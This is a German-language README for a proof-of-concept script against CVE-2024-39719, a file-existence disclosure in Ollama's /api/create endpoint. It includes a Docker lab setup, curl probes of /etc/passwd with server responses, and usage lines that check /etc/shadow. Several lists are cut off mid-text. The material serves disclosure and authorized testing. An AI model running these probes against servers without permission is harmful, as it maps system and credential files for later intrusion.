
Python-Exploit-Skript für CVE-2024-39719, eine Schwachstelle zur Offenlegung der Dateiexistenz in Ollama. Testet API-Endpunkte, um Server-Dateipfade zu erkennen, und unterstützt bei Schwachstellenanalyse und Penetrationstests.
CVE-2024-39719 ist eine Schwachstelle zur Offenlegung von Dateiexistenz, die Ollama-Versionen 0.3.14 und früher betrifft. Diese Schwachstelle ermöglicht es Angreifern, die Existenz bestimmter Dateien auf dem Server über einen API-Endpunkt zu erkennen, was potenziell zu Informationslecks führen kann.
Veröffentlichungsdatum: 31. Oktober 2024
Die Schwachstelle befindet sich im /api/create-Endpunkt von Ollama. Wenn ein Angreifer die CreateModel-API mit einem Pfadparameter aufruft, gibt der Server je nach Existenz des Pfades unterschiedliche Fehlermeldungen zurück. Dieses Verhalten ermöglicht es einem Angreifer, durch Analyse der Fehlermeldungen festzustellen, ob eine bestimmte Datei oder ein Verzeichnis auf dem Server existiert.
Das Kernproblem ist, dass das System bei der Verarbeitung von Benutzereingaben direkt Dateisystemfehler an den Client weitergibt, anstatt Informationen über die Existenz von Pfaden ordnungsgemäß zu verbergen.
Diese Schwachstelle betrifft alle Versionen von Ollama bis einschließlich 0.3.14.
Obwohl eine Schwachstelle zur Offenlegung von Dateiexistenz zunächst weniger schwerwiegend erscheinen mag, kann sie:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/ zugreifen.Senden Sie eine Anfrage mit curl, um zu versuchen, auf eine nicht existierende Datei zuzugreifen:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
Antwort:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
Testen Sie eine vorhandene Datei, z. B. /etc/passwd:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
Antwort:
{"error":"no FROM line for the model was specified"}
Durch Analyse dieser unterschiedlichen Fehlermeldungen kann ein Angreifer feststellen, ob ein Zielpfad existiert oder nicht, und erhält so Informationen über die Dateistruktur des Servers. Beachten Sie, dass die vom Server zurückgegebenen Informationen je nach Version variieren können.
Ollama hat diese Schwachstelle in neueren Versionen behoben. Die Korrekturen umfassen:
/api/create-Endpunkt.Das bereitgestellte Python-Skript ermöglicht es Ihnen zu testen, ob ein Ollama-Server anfällig für CVE-2024-39719 ist.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: URL des Ollama-Servers (erforderlich)-f, --file: Zu prüfende Datei auf Existenz (Standard: "/etc/passwd")# Prüfen, ob ein Server anfällig ist
python CVE_2024_39719.py -u http://your-ip:11434
# Prüfen, ob eine bestimmte Datei existiert
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
Dieses Skript dient ausschließlich zu Bildungszwecken und für legitime Sicherheitstests. Stellen Sie immer sicher, dass Sie die entsprechende Genehmigung haben, bevor Sie ein System auf Schwachstellen testen. Nicht autorisierte Tests können gegen Gesetze und Vorschriften verstoßen.